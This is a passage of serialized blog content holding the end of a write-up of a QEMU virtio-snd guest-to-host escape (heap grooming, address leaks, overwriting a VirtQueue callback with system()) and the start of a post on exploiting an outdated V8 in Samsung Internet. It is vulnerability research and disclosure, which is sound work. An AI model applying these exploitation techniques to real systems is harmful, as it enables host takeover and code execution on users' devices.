},[133062],{"type":29,"value":15947},{"type":23,"tag":504,"props":133064,"children":133065},{"style":5047},[133066],{"type":29,"value":5050},{"type":23,"tag":504,"props":133068,"children":133069},{"style":5083},[133070],{"type":29,"value":5086},{"type":23,"tag":504,"props":133072,"children":133073},{"style":5058},[133074],{"type":29,"value":5061},{"type":23,"tag":504,"props":133076,"children":133077},{"class":5016,"line":25701},[133078,133082,133086,133090,133094,133098,133102],{"type":23,"tag":504,"props":133079,"children":133080},{"style":5139},[133081],{"type":29,"value":126086},{"type":23,"tag":504,"props":133083,"children":133084},{"style":5058},[133085],{"type":29,"value":603},{"type":23,"tag":504,"props":133087,"children":133088},{"style":5047},[133089],{"type":29,"value":5151},{"type":23,"tag":504,"props":133091,"children":133092},{"style":5041},[133093],{"type":29,"value":38318},{"type":23,"tag":504,"props":133095,"children":133096},{"style":5058},[133097],{"type":29,"value":15803},{"type":23,"tag":504,"props":133099,"children":133100},{"style":5041},[133101],{"type":29,"value":126107},{"type":23,"tag":504,"props":133103,"children":133104},{"style":5058},[133105],{"type":29,"value":133106},", buffer, entry);\n",{"type":23,"tag":504,"props":133108,"children":133109},{"class":5016,"line":25710},[133110],{"type":23,"tag":504,"props":133111,"children":133112},{"style":5058},[133113],{"type":29,"value":5394},{"type":23,"tag":32,"props":133115,"children":133116},{},[133117,133118,133123,133125,133130,133132,133137,133139,133145],{"type":29,"value":126161},{"type":23,"tag":154,"props":133119,"children":133121},{"className":133120},[],[133122],{"type":29,"value":126167},{"type":29,"value":133124},", QEMU allocates a ",{"type":23,"tag":154,"props":133126,"children":133128},{"className":133127},[],[133129],{"type":29,"value":126304},{"type":29,"value":133131}," whose size depends on the guest-provided iovec, and at ",{"type":23,"tag":154,"props":133133,"children":133135},{"className":133134},[],[133136],{"type":29,"value":126202},{"type":29,"value":133138}," it stores the ",{"type":23,"tag":154,"props":133140,"children":133142},{"className":133141},[],[133143],{"type":29,"value":133144},"VirtQueue *vq",{"type":29,"value":133146}," pointer into the buffer.",{"type":23,"tag":32,"props":133148,"children":133149},{},[133150,133151,133157],{"type":29,"value":66279},{"type":23,"tag":154,"props":133152,"children":133154},{"className":133153},[],[133155],{"type":29,"value":133156},"VirtQueue",{"type":29,"value":133158}," structure contains some useful fields:",{"type":23,"tag":4743,"props":133160,"children":133162},{"code":133161,"language":3110,"meta":7,"className":18562,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[133163],{"type":23,"tag":154,"props":133164,"children":133165},{"__ignoreMap":7},[133166,133178,133185,133192,133199,133207,133224,133231,133238],{"type":23,"tag":504,"props":133167,"children":133168},{"class":5016,"line":5017},[133169,133173],{"type":23,"tag":504,"props":133170,"children":133171},{"style":5030},[133172],{"type":29,"value":11448},{"type":23,"tag":504,"props":133174,"children":133175},{"style":5058},[133176],{"type":29,"value":133177}," VirtQueue\n",{"type":23,"tag":504,"props":133179,"children":133180},{"class":5016,"line":4868},[133181],{"type":23,"tag":504,"props":133182,"children":133183},{"style":5058},[133184],{"type":29,"value":12926},{"type":23,"tag":504,"props":133186,"children":133187},{"class":5016,"line":4876},[133188],{"type":23,"tag":504,"props":133189,"children":133190},{"style":5058},[133191],{"type":29,"value":106580},{"type":23,"tag":504,"props":133193,"children":133194},{"class":5016,"line":5099},[133195],{"type":23,"tag":504,"props":133196,"children":133197},{"emptyLinePlaceholder":15},[133198],{"type":29,"value":5734},{"type":23,"tag":504,"props":133200,"children":133201},{"class":5016,"line":5203},[133202],{"type":23,"tag":504,"props":133203,"children":133204},{"style":5058},[133205],{"type":29,"value":133206},"    VirtIOHandleOutput handle_output;\n",{"type":23,"tag":504,"props":133208,"children":133209},{"class":5016,"line":5308},[133210,133215,133219],{"type":23,"tag":504,"props":133211,"children":133212},{"style":5058},[133213],{"type":29,"value":133214},"    VirtIODevice ",{"type":23,"tag":504,"props":133216,"children":133217},{"style":5047},[133218],{"type":29,"value":6613},{"type":23,"tag":504,"props":133220,"children":133221},{"style":5058},[133222],{"type":29,"value":133223},"vdev;\n",{"type":23,"tag":504,"props":133225,"children":133226},{"class":5016,"line":5336},[133227],{"type":23,"tag":504,"props":133228,"children":133229},{"emptyLinePlaceholder":15},[133230],{"type":29,"value":5734},{"type":23,"tag":504,"props":133232,"children":133233},{"class":5016,"line":5349},[133234],{"type":23,"tag":504,"props":133235,"children":133236},{"style":5058},[133237],{"type":29,"value":106580},{"type":23,"tag":504,"props":133239,"children":133240},{"class":5016,"line":5367},[133241],{"type":23,"tag":504,"props":133242,"children":133243},{"style":5058},[133244],{"type":29,"value":18625},{"type":23,"tag":32,"props":133246,"children":133247},{},[133248,133249,133255,133257,133263],{"type":29,"value":18661},{"type":23,"tag":154,"props":133250,"children":133252},{"className":133251},[],[133253],{"type":29,"value":133254},".handle_output",{"type":29,"value":133256}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":23,"tag":154,"props":133258,"children":133260},{"className":133259},[],[133261],{"type":29,"value":133262},".vdev",{"type":29,"value":133264}," is the pointer passed to it as the first argument:",{"type":23,"tag":4743,"props":133266,"children":133268},{"code":133267,"language":3110,"meta":7,"className":18562,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[133269],{"type":23,"tag":154,"props":133270,"children":133271},{"__ignoreMap":7},[133272,133305,133312,133367,133404,133411,133418,133425,133446,133453,133460,133467],{"type":23,"tag":504,"props":133273,"children":133274},{"class":5016,"line":5017},[133275,133279,133283,133288,133293,133297,133301],{"type":23,"tag":504,"props":133276,"children":133277},{"style":5030},[133278],{"type":29,"value":53107},{"type":23,"tag":504,"props":133280,"children":133281},{"style":5030},[133282],{"type":29,"value":53112},{"type":23,"tag":504,"props":133284,"children":133285},{"style":5139},[133286],{"type":29,"value":133287}," virtio_queue_notify_vq",{"type":23,"tag":504,"props":133289,"children":133290},{"style":5058},[133291],{"type":29,"value":133292},"(VirtQueue ",{"type":23,"tag":504,"props":133294,"children":133295},{"style":5047},[133296],{"type":29,"value":6613},{"type":23,"tag":504,"props":133298,"children":133299},{"style":5041},[133300],{"type":29,"value":125651},{"type":23,"tag":504,"props":133302,"children":133303},{"style":5058},[133304],{"type":29,"value":5200},{"type":23,"tag":504,"props":133306,"children":133307},{"class":5016,"line":4868},[133308],{"type":23,"tag":504,"props":133309,"children":133310},{"style":5058},[133311],{"type":29,"value":12926},{"type":23,"tag":504,"props":133313,"children":133314},{"class":5016,"line":4876},[133315,133319,133323,133327,133331,133336,133340,133345,133349,133354,133358,133363],{"type":23,"tag":504,"props":133316,"children":133317},{"style":5067},[133318],{"type":29,"value":14325},{"type":23,"tag":504,"props":133320,"children":133321},{"style":5058},[133322],{"type":29,"value":5110},{"type":23,"tag":504,"props":133324,"children":133325},{"style":5041},[133326],{"type":29,"value":125651},{"type":23,"tag":504,"props":133328,"children":133329},{"style":5058},[133330],{"type":29,"value":15803},{"type":23,"tag":504,"props":133332,"children":133333},{"style":5041},[133334],{"type":29,"value":133335},"vring",{"type":23,"tag":504,"props":133337,"children":133338},{"style":5058},[133339],{"type":29,"value":357},{"type":23,"tag":504,"props":133341,"children":133342},{"style":5041},[133343],{"type":29,"value":133344},"desc",{"type":23,"tag":504,"props":133346,"children":133347},{"style":5047},[133348],{"type":29,"value":16231},{"type":23,"tag":504,"props":133350,"children":133351},{"style":5041},[133352],{"type":29,"value":133353}," vq",{"type":23,"tag":504,"props":133355,"children":133356},{"style":5058},[133357],{"type":29,"value":15803},{"type":23,"tag":504,"props":133359,"children":133360},{"style":5041},[133361],{"type":29,"value":133362},"handle_output",{"type":23,"tag":504,"props":133364,"children":133365},{"style":5058},[133366],{"type":29,"value":16850},{"type":23,"tag":504,"props":133368,"children":133369},{"class":5016,"line":5099},[133370,133375,133379,133384,133388,133392,133396,133400],{"type":23,"tag":504,"props":133371,"children":133372},{"style":5058},[133373],{"type":29,"value":133374},"        VirtIODevice ",{"type":23,"tag":504,"props":133376,"children":133377},{"style":5047},[133378],{"type":29,"value":6613},{"type":23,"tag":504,"props":133380,"children":133381},{"style":5058},[133382],{"type":29,"value":133383},"vdev ",{"type":23,"tag":504,"props":133385,"children":133386},{"style":5047},[133387],{"type":29,"value":546},{"type":23,"tag":504,"props":133389,"children":133390},{"style":5041},[133391],{"type":29,"value":133353},{"type":23,"tag":504,"props":133393,"children":133394},{"style":5058},[133395],{"type":29,"value":15803},{"type":23,"tag":504,"props":133397,"children":133398},{"style":5041},[133399],{"type":29,"value":125637},{"type":23,"tag":504,"props":133401,"children":133402},{"style":5058},[133403],{"type":29,"value":5061},{"type":23,"tag":504,"props":133405,"children":133406},{"class":5016,"line":5203},[133407],{"type":23,"tag":504,"props":133408,"children":133409},{"emptyLinePlaceholder":15},[133410],{"type":29,"value":5734},{"type":23,"tag":504,"props":133412,"children":133413},{"class":5016,"line":5308},[133414],{"type":23,"tag":504,"props":133415,"children":133416},{"style":5058},[133417],{"type":29,"value":125818},{"type":23,"tag":504,"props":133419,"children":133420},{"class":5016,"line":5336},[133421],{"type":23,"tag":504,"props":133422,"children":133423},{"emptyLinePlaceholder":15},[133424],{"type":29,"value":5734},{"type":23,"tag":504,"props":133426,"children":133427},{"class":5016,"line":5349},[133428,133433,133437,133441],{"type":23,"tag":504,"props":133429,"children":133430},{"style":5041},[133431],{"type":29,"value":133432},"        vq",{"type":23,"tag":504,"props":133434,"children":133435},{"style":5058},[133436],{"type":29,"value":15803},{"type":23,"tag":504,"props":133438,"children":133439},{"style":5139},[133440],{"type":29,"value":133362},{"type":23,"tag":504,"props":133442,"children":133443},{"style":5058},[133444],{"type":29,"value":133445},"(vdev, vq);\n",{"type":23,"tag":504,"props":133447,"children":133448},{"class":5016,"line":5367},[133449],{"type":23,"tag":504,"props":133450,"children":133451},{"emptyLinePlaceholder":15},[133452],{"type":29,"value":5734},{"type":23,"tag":504,"props":133454,"children":133455},{"class":5016,"line":5388},[133456],{"type":23,"tag":504,"props":133457,"children":133458},{"style":5058},[133459],{"type":29,"value":125818},{"type":23,"tag":504,"props":133461,"children":133462},{"class":5016,"line":5397},[133463],{"type":23,"tag":504,"props":133464,"children":133465},{"style":5058},[133466],{"type":29,"value":5403},{"type":23,"tag":504,"props":133468,"children":133469},{"class":5016,"line":5649},[133470],{"type":23,"tag":504,"props":133471,"children":133472},{"style":5058},[133473],{"type":29,"value":5965},{"type":23,"tag":32,"props":133475,"children":133476},{},[133477,133479,133484,133486,133491,133493,133499,133501,133506,133507,133512,133514,133519],{"type":29,"value":133478},"This means that if we free the known-address chunk and replace it with a ",{"type":23,"tag":154,"props":133480,"children":133482},{"className":133481},[],[133483],{"type":29,"value":126304},{"type":29,"value":133485}," - which is straightforward, since we control the buffer allocation size through the ",{"type":23,"tag":154,"props":133487,"children":133489},{"className":133488},[],[133490],{"type":29,"value":125892},{"type":29,"value":133492}," iovec - we can use the arbitrary read primitive to read its ",{"type":23,"tag":154,"props":133494,"children":133496},{"className":133495},[],[133497],{"type":29,"value":133498},".vq",{"type":29,"value":133500}," pointer, then follow that pointer to leak ",{"type":23,"tag":154,"props":133502,"children":133504},{"className":133503},[],[133505],{"type":29,"value":133254},{"type":29,"value":18100},{"type":23,"tag":154,"props":133508,"children":133510},{"className":133509},[],[133511],{"type":29,"value":133156},{"type":29,"value":133513}," structure. In our case, that field points to ",{"type":23,"tag":154,"props":133515,"children":133517},{"className":133516},[],[133518],{"type":29,"value":125544},{"type":29,"value":133520},", which gives us QEMU's base address.",{"type":23,"tag":32,"props":133522,"children":133523},{},[133524,133526,133532],{"type":29,"value":133525},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":23,"tag":154,"props":133527,"children":133529},{"className":133528},[],[133530],{"type":29,"value":133531},"system",{"type":29,"value":357},{"type":23,"tag":320,"props":133534,"children":133536},{"id":133535},"rip-control",[133537],{"type":29,"value":133538},"RIP Control",{"type":23,"tag":32,"props":133540,"children":133541},{},[133542,133544,133549,133551,133557],{"type":29,"value":133543},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":23,"tag":154,"props":133545,"children":133547},{"className":133546},[],[133548],{"type":29,"value":133531},{"type":29,"value":133550},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":23,"tag":154,"props":133552,"children":133554},{"className":133553},[],[133555],{"type":29,"value":133556},"VirtQueue.handle_output",{"type":29,"value":357},{"type":23,"tag":32,"props":133559,"children":133560},{},[133561,133563,133568,133570,133575,133577,133582],{"type":29,"value":133562},"We overwrite ",{"type":23,"tag":154,"props":133564,"children":133566},{"className":133565},[],[133567],{"type":29,"value":133254},{"type":29,"value":133569}," with the address of ",{"type":23,"tag":154,"props":133571,"children":133573},{"className":133572},[],[133574],{"type":29,"value":133531},{"type":29,"value":133576}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":23,"tag":154,"props":133578,"children":133580},{"className":133579},[],[133581],{"type":29,"value":133262},{"type":29,"value":133583}," with the address of that command string, so it is passed as the first argument.",{"type":23,"tag":32,"props":133585,"children":133586},{},[133587,133589,133595,133597,133603,133605,133611],{"type":29,"value":133588},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":23,"tag":154,"props":133590,"children":133592},{"className":133591},[],[133593],{"type":29,"value":133594},"virtio_queue_notify_vq",{"type":29,"value":133596},", which calls ",{"type":23,"tag":154,"props":133598,"children":133600},{"className":133599},[],[133601],{"type":29,"value":133602},"vq->handle_output(vq->vdev)",{"type":29,"value":133604}," - or, after our overwrites, ",{"type":23,"tag":154,"props":133606,"children":133608},{"className":133607},[],[133609],{"type":29,"value":133610},"system(command)",{"type":29,"value":357},{"type":23,"tag":32,"props":133613,"children":133614},{},[133615,133617,133623,133625],{"type":29,"value":133616},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":23,"tag":154,"props":133618,"children":133620},{"className":133619},[],[133621],{"type":29,"value":133622},"gnome-calculator",{"type":29,"value":133624}," on the host system:\n",{"type":23,"tag":33024,"props":133626,"children":133627},{},[],{"type":23,"tag":133629,"props":133630,"children":133639},"tweet-card",{"author-name":133631,"date":133632,"duration":133633,"handle":133634,"media-mime-type":133635,"media-src":133636,"media-type":133637,"tweet-url":133638},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[133640,133645,133650],{"type":23,"tag":32,"props":133641,"children":133642},{},[133643],{"type":29,"value":133644},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":23,"tag":32,"props":133646,"children":133647},{},[133648],{"type":29,"value":133649},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":23,"tag":32,"props":133651,"children":133652},{},[133653],{"type":29,"value":133654},"Writeup coming next week.",{"type":23,"tag":33024,"props":133656,"children":133657},{},[],{"type":23,"tag":32,"props":133659,"children":133660},{},[133661,133663,133669,133671,133677],{"type":29,"value":133662},"The final exploit, targeting QEMU commit ",{"type":23,"tag":154,"props":133664,"children":133666},{"className":133665},[],[133667],{"type":29,"value":133668},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":29,"value":133670}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":23,"tag":68,"props":133672,"children":133675},{"href":133673,"rel":133674},"https://github.com/otter-sec/qemu-escape",[72],[133676],{"type":29,"value":49647},{"type":29,"value":357},{"type":23,"tag":32,"props":133679,"children":133680},{},[133681,133683,133690],{"type":29,"value":133682},"Special thanks to ",{"type":23,"tag":68,"props":133684,"children":133687},{"href":133685,"rel":133686},"https://www.willsroot.io/",[72],[133688],{"type":29,"value":133689},"William Liu",{"type":29,"value":133691}," for proofreading this post and helping us polish it before publication.",{"type":23,"tag":24,"props":133693,"children":133694},{"id":4832},[133695],{"type":29,"value":4835},{"type":23,"tag":32,"props":133697,"children":133698},{},[133699],{"type":29,"value":133700},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":23,"tag":32,"props":133702,"children":133703},{},[133704],{"type":29,"value":133705},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":23,"tag":7410,"props":133707,"children":133708},{},[133709],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":133711},[133712,133715,133718,133727],{"id":125440,"depth":4868,"text":125453,"children":133713},[133714],{"id":125461,"depth":4876,"text":125464},{"id":125485,"depth":4868,"text":125488,"children":133716},[133717],{"id":125499,"depth":4876,"text":125499},{"id":101887,"depth":4868,"text":101890,"children":133719},[133720,133721,133722,133723,133724,133725,133726],{"id":128091,"depth":4876,"text":128094},{"id":129618,"depth":4876,"text":129621},{"id":130412,"depth":4876,"text":130415},{"id":130817,"depth":4876,"text":130820},{"id":131033,"depth":4876,"text":131036},{"id":131239,"depth":4876,"text":131242},{"id":133535,"depth":4876,"text":133538},{"id":4832,"depth":4868,"text":4835},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":133732,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":133733,"description":133734,"date":133735,"author":133736,"image":133739,"isFeatured":15,"onBlogPage":15,"tags":133741,"body":133744,"_type":4892,"_id":143652,"_source":4894,"_file":143653,"_stem":143654,"_extension":4897},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[125436,133737,133738],"jamie","william",{"src":133740,"width":99047,"height":14},"/posts/mobile-renderer-rce/title.png",[133742,133743],"RCE","mobile",{"type":20,"children":133745,"toc":143632},[133746,133750,133755,133769,133775,133789,133810,133818,133831,133839,133852,133858,133871,133885,133891,133905,134008,134013,134021,134026,134031,134052,134130,134138,134157,134170,134176,134182,134196,134312,134317,134322,134330,134335,134343,134371,134400,134412,134588,134593,134601,134620,134633,134639,134659,134673,134678,134683,134711,134747,134816,134822,134844,134849,134857,134870,134875,134883,134888,134927,134933,134946,134951,135129,135139,135147,135167,135191,135204,135210,135215,135857,135862,135870,135912,137901,137906,137914,137920,137953,137971,138141,138199,138224,138318,138323,139114,139119,139127,139138,141182,141187,141195,141201,141223,141237,141250,141262,141292,141297,141738,141766,141873,141890,142047,142052,142064,142360,142386,142409,142541,142553,142558,142710,142746,142759,142764,142886,142927,143004,143009,143583,143589,143601,143614,143618,143623,143628],{"type":23,"tag":24,"props":133747,"children":133748},{"id":31069},[133749],{"type":29,"value":31072},{"type":23,"tag":32,"props":133751,"children":133752},{},[133753],{"type":29,"value":133754},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":23,"tag":32,"props":133756,"children":133757},{},[133758,133760,133767],{"type":29,"value":133759},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":23,"tag":68,"props":133761,"children":133764},{"href":133762,"rel":133763},"https://cor.team",[72],[133765],{"type":29,"value":133766},"Crusaders of Rust",{"type":29,"value":133768}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":23,"tag":320,"props":133770,"children":133772},{"id":133771},"finding-the-v8-version",[133773],{"type":29,"value":133774},"Finding the V8 Version",{"type":23,"tag":32,"props":133776,"children":133777},{},[133778,133780,133787],{"type":29,"value":133779},"We started by pulling Samsung Internet's APK from the device over ",{"type":23,"tag":68,"props":133781,"children":133784},{"href":133782,"rel":133783},"https://developer.android.com/tools/adb",[72],[133785],{"type":29,"value":133786},"adb",{"type":29,"value":133788}," and inspecting the libraries it shipped with.",{"type":23,"tag":32,"props":133790,"children":133791},{},[133792,133794,133800,133802,133808],{"type":29,"value":133793},"After extracting the APK, we searched the ",{"type":23,"tag":154,"props":133795,"children":133797},{"className":133796},[],[133798],{"type":29,"value":133799},"lib/",{"type":29,"value":133801}," directory for ",{"type":23,"tag":154,"props":133803,"children":133805},{"className":133804},[],[133806],{"type":29,"value":133807},"v8::*",{"type":29,"value":133809}," symbols:",{"type":23,"tag":4743,"props":133811,"children":133813},{"code":133812},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[133814],{"type":23,"tag":154,"props":133815,"children":133816},{"__ignoreMap":7},[133817],{"type":29,"value":133812},{"type":23,"tag":32,"props":133819,"children":133820},{},[133821,133823,133829],{"type":29,"value":133822},"Only one file matched our search: ",{"type":23,"tag":154,"props":133824,"children":133826},{"className":133825},[],[133827],{"type":29,"value":133828},"libterrace.so",{"type":29,"value":133830},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":23,"tag":32,"props":133832,"children":133833},{},[133834],{"type":23,"tag":199,"props":133835,"children":133838},{"alt":133836,"src":133837},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":23,"tag":32,"props":133840,"children":133841},{},[133842,133844,133850],{"type":29,"value":133843},"Surprisingly, this ",{"type":23,"tag":154,"props":133845,"children":133847},{"className":133846},[],[133848],{"type":29,"value":133849},"13.6.233.10",{"type":29,"value":133851}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":23,"tag":320,"props":133853,"children":133855},{"id":133854},"choosing-the-bug",[133856],{"type":29,"value":133857},"Choosing the Bug",{"type":23,"tag":32,"props":133859,"children":133860},{},[133861,133863,133869],{"type":29,"value":133862},"We were able to trigger a couple of bugs on our locally compiled ",{"type":23,"tag":154,"props":133864,"children":133866},{"className":133865},[],[133867],{"type":29,"value":133868},"d8",{"type":29,"value":133870}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":23,"tag":32,"props":133872,"children":133873},{},[133874,133876,133883],{"type":29,"value":133875},"Another one was ",{"type":23,"tag":68,"props":133877,"children":133880},{"href":133878,"rel":133879},"https://issuetracker.google.com/issues/443875388",[72],[133881],{"type":29,"value":133882},"CVE-2025-10891",{"type":29,"value":133884}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":23,"tag":24,"props":133886,"children":133888},{"id":133887},"ignition-bytecode-introduction",[133889],{"type":29,"value":133890},"Ignition Bytecode Introduction",{"type":23,"tag":32,"props":133892,"children":133893},{},[133894,133896,133903],{"type":29,"value":133895},"V8 initially compiles all JS code to a bytecode format with the ",{"type":23,"tag":68,"props":133897,"children":133900},{"href":133898,"rel":133899},"https://v8.dev/blog/ignition-interpreter",[72],[133901],{"type":29,"value":133902},"Ignition",{"type":29,"value":133904}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":23,"tag":4743,"props":133906,"children":133908},{"code":133907,"language":33420,"meta":7,"className":33418,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[133909],{"type":23,"tag":154,"props":133910,"children":133911},{"__ignoreMap":7},[133912,133935,133959,133983],{"type":23,"tag":504,"props":133913,"children":133914},{"class":5016,"line":5017},[133915,133919,133923,133927,133931],{"type":23,"tag":504,"props":133916,"children":133917},{"style":5030},[133918],{"type":29,"value":13833},{"type":23,"tag":504,"props":133920,"children":133921},{"style":5041},[133922],{"type":29,"value":91898},{"type":23,"tag":504,"props":133924,"children":133925},{"style":5047},[133926],{"type":29,"value":5050},{"type":23,"tag":504,"props":133928,"children":133929},{"style":5083},[133930],{"type":29,"value":6565},{"type":23,"tag":504,"props":133932,"children":133933},{"style":5058},[133934],{"type":29,"value":5061},{"type":23,"tag":504,"props":133936,"children":133937},{"class":5016,"line":4868},[133938,133942,133946,133950,133955],{"type":23,"tag":504,"props":133939,"children":133940},{"style":5030},[133941],{"type":29,"value":13833},{"type":23,"tag":504,"props":133943,"children":133944},{"style":5041},[133945],{"type":29,"value":92772},{"type":23,"tag":504,"props":133947,"children":133948},{"style":5047},[133949],{"type":29,"value":5050},{"type":23,"tag":504,"props":133951,"children":133952},{"style":5083},[133953],{"type":29,"value":133954}," 0x0fff",{"type":23,"tag":504,"props":133956,"children":133957},{"style":5058},[133958],{"type":29,"value":5061},{"type":23,"tag":504,"props":133960,"children":133961},{"class":5016,"line":4876},[133962,133966,133970,133974,133979],{"type":23,"tag":504,"props":133963,"children":133964},{"style":5030},[133965],{"type":29,"value":13833},{"type":23,"tag":504,"props":133967,"children":133968},{"style":5041},[133969],{"type":29,"value":39502},{"type":23,"tag":504,"props":133971,"children":133972},{"style":5047},[133973],{"type":29,"value":5050},{"type":23,"tag":504,"props":133975,"children":133976},{"style":5083},[133977],{"type":29,"value":133978}," 0x0fffffff",{"type":23,"tag":504,"props":133980,"children":133981},{"style":5058},[133982],{"type":29,"value":5061},{"type":23,"tag":504,"props":133984,"children":133985},{"class":5016,"line":5099},[133986,133990,133995,133999,134004],{"type":23,"tag":504,"props":133987,"children":133988},{"style":5030},[133989],{"type":29,"value":13833},{"type":23,"tag":504,"props":133991,"children":133992},{"style":5041},[133993],{"type":29,"value":133994}," d",{"type":23,"tag":504,"props":133996,"children":133997},{"style":5047},[133998],{"type":29,"value":5050},{"type":23,"tag":504,"props":134000,"children":134001},{"style":5083},[134002],{"type":29,"value":134003}," 0xffffffff",{"type":23,"tag":504,"props":134005,"children":134006},{"style":5058},[134007],{"type":29,"value":5061},{"type":23,"tag":32,"props":134009,"children":134010},{},[134011],{"type":29,"value":134012},"compiles to",{"type":23,"tag":4743,"props":134014,"children":134016},{"code":134015}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[134017],{"type":23,"tag":154,"props":134018,"children":134019},{"__ignoreMap":7},[134020],{"type":29,"value":134015},{"type":23,"tag":32,"props":134022,"children":134023},{},[134024],{"type":29,"value":134025},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":23,"tag":320,"props":134027,"children":134029},{"id":134028},"cve-2025-10891",[134030],{"type":29,"value":133882},{"type":23,"tag":32,"props":134032,"children":134033},{},[134034,134036,134042,134044,134050],{"type":29,"value":134035},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":23,"tag":154,"props":134037,"children":134039},{"className":134038},[],[134040],{"type":29,"value":134041},"[start, end) => handler",{"type":29,"value":134043}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":23,"tag":154,"props":134045,"children":134047},{"className":134046},[],[134048],{"type":29,"value":134049},"handler",{"type":29,"value":134051}," is jumped to.",{"type":23,"tag":4743,"props":134053,"children":134055},{"code":134054,"language":33420,"meta":7,"className":33418,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[134056],{"type":23,"tag":154,"props":134057,"children":134058},{"__ignoreMap":7},[134059,134070,134085,134100,134123],{"type":23,"tag":504,"props":134060,"children":134061},{"class":5016,"line":5017},[134062,134066],{"type":23,"tag":504,"props":134063,"children":134064},{"style":5067},[134065],{"type":29,"value":50394},{"type":23,"tag":504,"props":134067,"children":134068},{"style":5058},[134069],{"type":29,"value":5333},{"type":23,"tag":504,"props":134071,"children":134072},{"class":5016,"line":4868},[134073,134077,134081],{"type":23,"tag":504,"props":134074,"children":134075},{"style":5067},[134076],{"type":29,"value":37258},{"type":23,"tag":504,"props":134078,"children":134079},{"style":5083},[134080],{"type":29,"value":6565},{"type":23,"tag":504,"props":134082,"children":134083},{"style":5058},[134084],{"type":29,"value":5061},{"type":23,"tag":504,"props":134086,"children":134087},{"class":5016,"line":4876},[134088,134092,134096],{"type":23,"tag":504,"props":134089,"children":134090},{"style":5058},[134091],{"type":29,"value":48936},{"type":23,"tag":504,"props":134093,"children":134094},{"style":5067},[134095],{"type":29,"value":50474},{"type":23,"tag":504,"props":134097,"children":134098},{"style":5058},[134099],{"type":29,"value":5333},{"type":23,"tag":504,"props":134101,"children":134102},{"class":5016,"line":5099},[134103,134107,134111,134115,134119],{"type":23,"tag":504,"props":134104,"children":134105},{"style":5030},[134106],{"type":29,"value":9900},{"type":23,"tag":504,"props":134108,"children":134109},{"